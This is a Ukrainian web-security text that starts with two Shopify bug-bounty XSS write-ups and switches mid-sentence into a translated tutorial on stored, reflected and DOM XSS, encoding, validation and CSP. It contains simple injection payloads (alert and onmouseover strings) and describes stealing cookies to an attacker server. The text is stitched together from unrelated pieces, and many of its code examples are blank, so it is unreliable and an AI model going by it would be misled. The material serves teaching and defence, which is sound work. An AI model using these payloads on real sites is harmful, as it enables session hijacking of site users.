1. Розпродаж Shopify
Складність:Низька
Url: wholesale.shopify.com
Посилання на звіт: https://hackerone.com/reports/10629326 Дата звіту: 21 грудня 2015
Виплачена винагорода: $500
Опис:Сайт розпродажу Shopify27 є простою сторінкою з прямим закликом до дії – введіть назву товару та натисніть “Find Products”. Ось скріншот:
Скриншот сайту розпродажів wholesaleXSS-вразливість тут була найпростішою, яку тільки можна знайти - текст, введений у пошуковий рядок, не був екранований, так що виконувався будь-який введений Javascript. Ось надісланий текст з опису вразливості: test'; alert ( 'XSS');
Причина того, що це спрацювало, в тому, що Shopify приймав введення користувача, виконував пошуковий запит і при відсутності результатів, друкував повідомлення, що повідомляє про відсутність результатів пошуку за введеним запитом, показуючи на сторінці не екрановане введення користувача. В результаті відправлений Javascript рендерувався на сторінці і браузери інтерпретували його як Javascript, що виконується.
Висновки
Тестуйте все, приділяйте особливу увагу ситуаціям, де введений текст рендерується на сторінці. Перевірте, чи можете ви включити HTML або Javascript, і дивіться, як сайт обробляє їх. Так само спробуйте закодувати введення подібно до того, як описано в розділі, присвяченій HTML-ін'єкцій.
XSS-уразливості не повинні бути складними чи заплутаними. Ця вразливість була найпростішою, яку можна уявити - просте поле для введення тексту, яке не обробляє введення користувача. І вона була виявлена 21 грудня 2015 року, і принесла хакеру $500! Все, що потрібно - хакерське мислення.
2. Кошик подарункових карток Shopify
Складність:Низька
Url: hardware.shopify.com/cart
Посилання на звіт: https://hackerone.com/reports/9508928 Дата звіту: 21 жовтня 2015
Виплачена винагорода: $500
Опис:Сайт магазину подарункових карток Shopify29 дозволяє користувачам створювати власне оформлення для подарункових карток за допомогою HTML-форми, що включає вікно завантаження файлу, кілька рядків для введення тексту деталей, і так далі. Ось скріншот:
Скриншот форми магазину подарункових карток ShopifyXSS-вразливість тут спрацьовувала, коли поле форми, призначене для назви зображення, вводили Javascript. Це досить легко зробити, використовуючи HTML проксі, про які ми поговоримо пізніше главі "Інструменти". Отже, оригінальне відправлення форми включало:
Content-Disposition: form-data; name=”properties”
Content-Disposition: form-data; name = ”properties [ Artwor 2 k file ] ”
Її можна було перехопити та змінити на:Content-Disposition: form-data; name=”properties”;
Content-Disposition: form-data; name = ”properties [ Artwor 2 k file< img src = ’test ’onmouseover = ’alert (2 ) ’> ] ”;
І є комплексним підручником з міжсайтового скриптингу.
Частина перша: Огляд
Що таке XSS?
Міжсайтовий скриптинг ( англ. Cross-site scripting) - це атака націлена на використання коду, що дозволяє зловмиснику виконати шкідливий JavaScript в браузері іншого користувача.
Зловмисник не атакує свою жертву безпосередньо. Натомість він використовує вразливість веб-сайту, який відвідує жертва та впроваджує шкідливий JavaScript код. У браузері жертви шкідливий JavaScript відображається як легітимна частина веб-сайту, а сам веб-сайт виступає як безпосередній учасник атакуючого.
Впровадження шкідливого JavaScript-коду
Єдиний спосіб для атакуючого запустити шкідливий JavaScript у браузері жертви - це впровадити його в одну зі сторінок, яку завантажує жертва з веб-сайту. Це можливо, якщо веб-сайт дозволяє користувачам вводити дані на своїх сторінках, а атакуючий зможе вставити рядок, який визначатиметься як частина коду в браузері жертви.
У наведеному нижче прикладі показано простий серверний скрипт, який використовується для відображення останнього коментаря на сайті:
print " "
print "Останній коментар:"
print database.latestComment
print ""Скрипт передбачає, що коментар складається лише із тексту. Однак, оскільки включено безпосереднє введення користувача, зловмисник може залишити цей коментар: "Будь-який користувач, який відвідав сторінку, тепер отримуватиме наступну відповідь:
Останній коментар:
Коли браузер користувача завантажує сторінку, він буде виконувати все, у тому числі JavaScript-код, що міститься всередині тегів . Це свідчить про те, що проста присутність скрипта, впроваджуваного атакуючим, є проблемою, незалежно від того, який конкретний код сценарію насправді виконується.
Частина друга: XSS-атака
Учасники XSS-атаки
Перед тим, як докладно описати, як працює атака XSS, нам необхідно визначити суб'єктів, що беруть участь в атаці XSS. Загалом, в атаці XSS присутні три учасники: веб сайт, жертва, і зломщик.
- Веб сайтвидає HTML-сторінки для користувачів, що їх запросили. У наших прикладах він знаходиться за адресою http://website/.
- База даних веб-сайтує базою даних, яка зберігає деякі введені користувачами дані на сторінках сайту.
- Жертва— це звичайний користувач веб-сайту, який запитує сторінки з його браузера.
- Атакуючий— це зловмисник, який має намір розпочати атаку на жертву за рахунок використання XSS-уразливості на сайті.
- Сервер зломщика- Це веб-сервер під контролем зловмисника з єдиною метою - крадіжка конфіденційної інформації жертви. У наших прикладах він знаходиться за адресою http://attacker/ .
Приклад сценарію атаки
Цей скрипт створить HTTP-запит на іншу URL-адресу, яка перенаправить браузер користувача на сервер атакуючого. URL-адреса включає куки жертви як параметр запиту, коли HTTP-запит приходить на сервер атакуючого, зловмисник може витягти ці куки з запиту. Після того, як зловмисник отримав кукі, він може використовувати їх, щоб видати себе за жертву і почати наступний напад.
З цього моменту, наведений вище HTML код буде називатися шкідливим рядкомабо шкідливим скриптом. Важливо розуміти, що сам рядок є шкідливим лише якщо він, зрештою, обробляється як HTML-код у браузері жертви, а це може статися лише у разі наявності XSS-вразливості на веб-сайті.
Як працює цей приклад атаки
На схемі нижче показаний приклад виконання атаки зловмисником:
- Атакуючий використовує одну з форм веб-сайту, щоб вставити шкідливий рядок у базу даних веб-сайту.
- Жертва запитує сторінку із веб-сайту.
- Сайт включає шкідливий рядок з бази даних у відповідь та відправляє його до жертви.
- Браузер жертви виконує шкідливий сценарій усередині відповіді, надсилаючи куки жертви на сервер зловмисника.
Типи XSS
Мета XSS-атаки завжди полягає у виконанні шкідливого JavaScript скрипту браузері жертви. Існує кілька принципово різних способів досягнення цієї мети. XSS-атаки часто поділяються на три типи:
- Зберігані (постійні) XSS, де шкідливий рядок бере свій початок з бази даних веб-сайту.
- Відбиті (постійні) XSS, де шкідливий рядок породжується із запиту жертви
- DOM-моделі XSS, де вразливість виникає у коді за клієнта, а чи не за серверного коду.
У попередньому прикладі показана XSS-атака, що зберігається. Тепер ми опишемо два інші типи XSS-атак: відбитий XSS і XSS-атака DOM-моделі.
Відображений XSS
У разі відображеного XSS-атаки шкідливий рядок є частиною запиту жертви на веб-сайт. Сайт приймає і вставляє цей шкідливий рядок у відповідь, що відправляється, назад користувачу. Схема нижче ілюструє цей сценарій:
- Жертва обманним шляхом атакуючого надсилає URL-запит на веб-сайт.
- Сайт включає шкідливий рядок із URL-запиту у відповідь жертві.
- Браузер жертви виконує шкідливий сценарій, який міститься у відповіді, посилаючи куки жертви на сервер зловмисника.
Як успішно провести відбиту XSS-атаку?
Відбита XSS-атака може здатися невинною, оскільки вона вимагає, щоб жертва від свого імені надіслала запит, що містить шкідливий рядок. Так як ніхто не добровільно атакуватиме себе, то здається, що не існує способу фактичного виконання атаки.
Як з'ясовується, є принаймні два поширені способи змусити жертву почати відбиту XSS-атаку проти себе:
- Якщо користувач є конкретною особистістю, зловмисник може надіслати шкідливе URL-посилання жертві (наприклад, за допомогою електронної пошти або месенджера), і обманом змусити його відкрити посилання для відвідування веб-сайту.
- Якщо ціль - це велика група користувачів, зловмисник може опублікувати посилання на шкідливий URL (наприклад, на своєму власному веб-сайті або в соціальній мережі) і чекати відвідувачів, які перейдуть за посиланням.
Обидва ці методи схожі, і обидва вони можуть бути успішнішими з використанням служб, що дозволяють «укоротити» URL-адресу, вони замаскують шкідливий рядок від користувачів, які могли б ідентифікувати його.
XSS у DOM-моделі
XSS в DOM-моделі є варіантом як збереженої і відображеної XSS-атаки. У цій XSS-атаці шкідливий рядок не обробляється браузером жертви, доки цей JavaScript веб-сайту не виконається. Схема нижче ілюструє цей сценарій для відображеної XSS-атаки:
- Атакуючий створює URL-адресу, яка містить шкідливий рядок, і надсилає її жертві.
- Жертва обманним шляхом атакуючого надсилає URL-запит на веб-сайт.
- Сайт приймає запит, але не включає у відповідь шкідливий рядок.
- Браузер жертви виконує легітимний сценарій, що міститься у відповіді, внаслідок чого шкідливий скрипт буде вставлено до сторінки.
- Браузер жертви виконує шкідливий скрипт, вставлений у сторінку, посилаючи куки жертви на сервер зловмисника.
У чому відмінність XSS у DOM-моделі?
У попередніх прикладах, що зберігаються і відображені XSS-атак сервер вставляє шкідливий скрипт на сторінку, яка потім пересилається у відповіді до жертви. Коли браузер жертви отримав відповідь, він передбачає, що шкідливий скрипт є частиною легітимного змісту сторінки, і автоматично виконує його під час завантаження сторінки, як будь-який інший сценарій.
У прикладі XSS-атаки в DOM-моделі шкідливий скрипт не вставляється як частина сторінки; єдиний скрипт, який автоматично виконується під час завантаження сторінки, є легітимною частиною сторінки. Проблема полягає в тому, що цей легітимний сценарій безпосередньо використовує введення користувача для того, щоб додати HTML на сторінку. Оскільки шкідливий рядок вставляється в сторінку за допомогою innerHTML, вона аналізується як HTML, внаслідок чого шкідливий скрипт буде виконуватися.
Ця різниця невелика, але дуже важлива:
- У традиційному XSS шкідливий JavaScript виконується при завантаженні сторінки як частина HTML, відправленого сервером.
- У разі XSS у DOM-моделі шкідливий JavaScript виконується після завантаження сторінки, в результаті ця сторінка з легітимним JavaScript звертається небезпечним способом до введення користувача (що містить шкідливий рядок).
Як працює XSS у DOM-моделі?
У попередньому прикладі немає потреби в JavaScript; сервер може генерувати все HTML сам собою. Якщо код на стороні сервера не містить уразливостей, веб-сайт не схильний до вразливості XSS.
Однак, оскільки веб-програми стають більш просунутими, все більше HTML-сторінок генерується за допомогою JavaScript на стороні клієнта, а не на сервері. У будь-який час контент повинен змінюватися без оновлення всієї сторінки, це можливо за допомогою JavaScript. Зокрема, це той випадок, коли сторінка оновлюється після запиту AJAX.
Це означає, що XSS вразливості можуть бути присутніми не тільки на серверній частині коду вашого сайту, але і на стороні JavaScript-коду клієнта вашого сайту. Отже, навіть при повністю безпечному коді на стороні сервера, клієнтський код може все ще не безпечно включати введення даних користувача при оновленні DOM після завантаження сторінки. Якщо це станеться, код з боку клієнта дозволить провести XSS-атаку не з вини коду з боку сервера.
XSS на основі DOM-моделі може бути невидимим для сервера
Існує особливий випадок XSS-атаки в DOM-моделі, в якому шкідливий рядок ніколи не відправляється на сервер веб-сайту: це відбувається тоді, коли шкідливий рядок міститься у фрагменті ідентифікатора URL-адреси (щось після символу #). Браузери не надсилають цю частину URL на сервер, так що веб-сайт не має доступу до нього за допомогою коду на стороні сервера. Код з боку клієнта, однак, має доступ до нього, і таким чином можливе проведення XSS-атаки шляхом небезпечної обробки.
Цей випадок обмежується ідентифікатором фрагмента. Існує й інше введення користувача, яке є невидимим для сервера, наприклад, нові функції HTML5, такі як LocalStorage і IndexedDB.
Частина третя:
Запобігання XSSМетоди запобігання XSS
Нагадаємо, що XSS є атакою типу застосування коду: введені дані користувачем помилково інтерпретуються як шкідливий програмний код. Щоб не допустити цього типу ін'єкції коду, потрібна безпечна обробка введення. Для веб-розробника існує два принципово різних способувиконання безпечної обробки введення:
- Кодування- це спосіб який дозволяє зробити введення даних користувачем тільки як дані і не дозволяє обробці браузеру як коду.
- Валідація- це спосіб фільтрує введення користувача так, що браузер інтерпретує його як код без шкідливих команд.
Хоча це принципово різні методи запобігання XSS, вони мають кілька спільних рис, які є важливими для розуміння при використанні будь-якого з них:
Контекст Безпечна обробка вводу повинна бути виконана по-різному залежно від того, де на сторінці використовується введення користувача. вхідний/вихідний Безпечна обробка введення може бути виконана або, коли ваш сайт отримує вхідні дані (вхідний трафік) або перед тим, як сайт вставляє введення користувача в вміст сторінки (вихідний). Клієнт/Сервер Безпечна обробка введення може бути виконана або на стороні клієнта або на стороні сервера, кожен варіант необхідний за різних обставин.
Перш ніж пояснювати в деталях, як працює кодування та валідація, ми опишемо кожен з цих пунктів.
Обробка введення користувача в контекстах
Є багато контекстів на веб-сторінці, де може бути застосоване введення користувача. Для кожного з них повинні бути дотримані особливі правила для того, щоб введення користувача не могло «вирватися» зі свого контексту і не могло бути інтерпретований як шкідливий код. Нижче наведені найпоширеніші контексти:
Яке значення мають контексти?
У всіх описаних контекстах вразливість, що призводить до XSS, може виникнути, якщо дані, що вводяться користувачем, були вставлені до першого кодування або валідації. Зловмисник може впровадити шкідливий код, просто вставивши закриваючий роздільник для цього контексту і слідом за ним шкідливий код.
Наприклад, якщо в якийсь момент веб-сайт включає введення даних користувачем безпосередньо в атрибут HTML, зловмисник зможе впровадити шкідливий сценарій, розпочавши своє введення з лапки, як показано нижче:
Це можна було б запобігти, просто видаливши всі лапки в введенні користувача, і все було б добре, але тільки в цьому контексті. Якщо ж введення було вставлено в інший контекст, роздільник, що закриває, буде відрізнятися і ін'єкція стане можливою. З цієї причини, безпечна обробка введення завжди повинна бути адаптована до контексту, де буде вставлено введення користувача.
Обробка вхідного/вихідного введення користувача
Інстинктивно, може здатися, що XSS можна запобігти за допомогою кодування або валідації всього введення користувача, як тільки наш сайт отримує його. Таким чином, будь-які шкідливі рядки вже будуть нейтралізовані щоразу, коли вони будуть включатися в сторінку, і скриптам генерації HTML не доведеться дбати про безпечну обробку введення користувача.
Проблема полягає в тому, що як було описано раніше, дані, що вводяться користувачем, можуть бути вставлені в кілька контекстів на сторінці. І немає простого способу визначити, коли введення користувача входить в контекст — як він в кінцевому підсумку буде вставлений, і той же введення часто повинен бути вставлений в різних контекстах. Спираючись на обробку вхідного введення для запобігання XSS, ми створюємо дуже тендітне рішення, яке буде схильне до помилок. (Застарілі "чарівні лапки" PHP є прикладом такого рішення.)
Натомість, обробка вихідного введення повинна бути вашою основною лінією захисту від XSS, тому що вона може брати до уваги конкретний контекст, які дані, що вводяться користувачем, будуть вставлені. Якоюсь мірою вхідну валідацію можна використовувати для додавання вторинного шару захисту, але про це пізніше.
Де можливо виконувати безпечну обробку введення користувача
У більшості сучасних веб-додатків, введення користувача обробляється як на стороні серверного коду, так і на стороні коду клієнта. З метою захисту від усіх типів XSS, безпечна обробка введення повинна бути виконана як у коді за сервера, і за коду клієнта.
- З метою захисту від традиційних XSS, безпечна обробка введення повинна бути виконана в коді на стороні сервера. Це робиться за допомогою будь-якої мови, яку підтримує сервер.
- З метою захисту від XSS-атаки в DOM-моделі, де сервер ніколи не отримує шкідливого рядка (наприклад, описана раніше атака через фрагмент ідентифікатора), безпечна обробка введення повинна бути виконана в коді на стороні клієнта. Це робиться за допомогою JavaScript.
Тепер, коли ми пояснили, чому контекст має значення, чому різниця між вхідною та вихідною обробкою введення має важливе значення, і чому безпечна обробка введення повинна бути виконана з обох сторін, і на стороні клієнта та на стороні сервера, ми можемо продовжити пояснити, яким чином два типи безпечної обробки введення (кодування та валідація) виконуються фактично.
Кодування
Кодування є способом виходу з ситуації коли необхідно що б введення даних браузер інтерпретував тільки як дані, а не код. Найпопулярніший тип кодування у веб-розробці це маскування HTML, який перетворює символи, такі як < і > в < і > відповідно.
Наступний псевдокод є прикладом того, як дані, що вводяться користувачем (користувацьке введення) можуть бути закодовані з використанням HTML маскування і потім вставлені в сторінку за допомогою серверного сценарію:
print " "
print "Останній коментар: "
print encodeHtml(userInput)
print ""Якщо користувач введе наступний рядок, результуючий HTML буде виглядати так:
Останній коментар:
Тому що всі символи зі спеціальним значенням були замасковані, браузер не буде розбирати будь-яку частину введення користувача, як HTML.
Кодування коду на стороні клієнта та сервера
При виконанні кодування коду з боку клієнта завжди використовується мова JavaScript, яка має вбудовані функції, які кодують дані для різних контекстів.
При виконанні кодування у вашому коді на стороні сервера ви покладаєтеся на функції доступні у вашій мові або фреймворку. Через велику кількість мов і доступних фреймворків, цей навчальний посібник не охоплюватиме деталі кодування в будь-якій конкретній мові сервера або фреймворку. Проте функції кодування JavaScript, що використовуються на стороні клієнта, також використовуються при написанні коду на стороні сервера.
Кодування на стороні клієнта
При кодуванні введення користувача на стороні клієнта за допомогою JavaScript є кілька вбудованих методів і властивостей, які автоматично кодують усі дані в контекстно-залежний стиль:
Останній контекст вже згадуваний вище (значення JavaScript) не входить до цього списку, тому що JavaScript не надає вбудований спосіб кодування даних, який буде включений у вихідний код JavaScript.
Обмеження кодування
Навіть під час кодування можливе використання зловмисних рядків у деяких контекстах. Яскравим прикладом цього є те, коли введення користувача використовується для надання URL-адреси, наприклад, у наведеному нижче прикладі:
document.querySelector("a").href = userInput
Хоча зазначене значення у властивості елемента href автоматично кодує його так, що він стає не більшим, ніж значення атрибута, це само по собі не заважає зловмиснику вставити URL, що починається з javascript: «. При натисканні на посилання, незалежно від побудови, вбудований JavaScript всередині URL буде виконаний.
Кодування також не ефективне рішення, коли ви хочете, щоб користувачі могли використовувати частину HTML-кодів на сторінці. Прикладом може бути сторінка профілю користувача, де користувач може використовувати HTML користувача. Якщо цей звичайний HTML буде закодований, сторінка профілю може складатися лише з простого тексту.
У таких ситуаціях кодування має бути доповнене валідацією, з якою ми познайомимося далі.
Валідація
Валідація є актом фільтрації введення користувача таким чином, щоб всі шкідливі його частини були видалені, без необхідності видалення всього коду в ньому. Один із найбільш застосовуваних видів перевірки у веб-розробці дозволяє використовувати деякі HTML-елементи (наприклад, і ) але заборонивши інші (наприклад,
При правильно визначеній політиці CSP, браузер не може завантажити та виконати malicious‑script.js тому що http://attacker/ не вказано як надійне джерело. Навіть незважаючи на те, що сайту не вдалося надійно обробляти введення даних в даному випадку політика CSP запобігла вразливості і заподіяння будь-якої шкоди.
Навіть якщо зловмисник провів ін'єкцію кодом всередину коду сценарію, а не посиланням на зовнішній файл, правильно налаштована політика CSP також заборонить ін'єкцію в код JavaScript запобігти вразливості та заподіянню будь-якої шкоди.
Як увімкнути CSP?
За промовчанням браузери не використовують CSP. Для того, щоб увімкнути SCP на своєму веб-сайті, сторінки повинні містити додатковий заголовок HTTP: Content-Security-Policy . Будь-яка сторінка, яка містить цей заголовок, буде застосовувати політики безпеки під час завантаження браузером, за умови, що браузер підтримує CSP.
Оскільки політика безпеки надсилається з кожною HTTP-відповіддю, можна на сервері індивідуально встановити політику для кожної сторінки. Така ж політика може бути застосована до всього веб-сайт, вставляючи той самий заголовок CSP у кожному відповіді.
Значення в заголовку Content-Security-Policy містить рядок, який визначає одну або кілька політик безпеки, які будуть працювати на вашому сайті. Синтаксис цього рядка буде описано далі.
Приклади заголовків у цьому розділі використовують перенесення рядка та відступи для простоти сприйняття; вони не повинні бути присутніми в цьому заголовку.
Синтаксис CSP
Синтаксис заголовка CSP виглядає так:
Content-Security-Policy:
directive source‑expression, source‑expression, ...;
directive ...;
...Цей синтаксис складається із двох елементів:
- Директивиє рядки, що вказують тип ресурсу, взятий із заданого списку.
- Вираз джерела (source expressions)є моделлю, що описує один або кілька серверів, від яких можуть бути завантажені ресурси.
Для кожної директиви дані у виразі джерела визначають, які джерела можна використовувати для завантаження ресурсів відповідного типу.
Директиви
Наступні директиви можуть бути використані в заголовку CSP:
- connect‑src
- font‑src
- frame‑src
- img‑src
- media‑src
- object‑src
- script‑src
- style‑src
На додаток до цього, спеціальна директива default‑src може використовуватися для того, щоб забезпечити значення за промовчанням для всіх директив, які не були включені до заголовка.
Вираз джерела
Синтаксис для створення виразу джерела виглядає так:
протокол:// ім'я-хоста: номер-порту
Ім'я хоста може починатися з *, це означає, що будь-який піддомен наданого імені хоста буде дозволено. Аналогічно номер порту може бути представлений у вигляді *, це означає, що всі порти будуть дозволені. Крім того, протокол та номер порту можуть бути пропущені. Якщо протокол не вказаний, політика вимагатиме, щоб усі ресурси бути завантажені за допомогою HTTPS.
На додаток до зазначеного вище синтаксису, вираз джерела може як альтернатива бути одним з чотирьох ключових слів зі спеціальним значенням (лапки включені):
"None" забороняє ресурси. "self" дозволяє ресурси з хоста, на якому знаходиться веб-сторінка. "unsafe‑inline" дозволяє ресурси, що містяться на сторінці як вбудовані
Встановлення пристроїв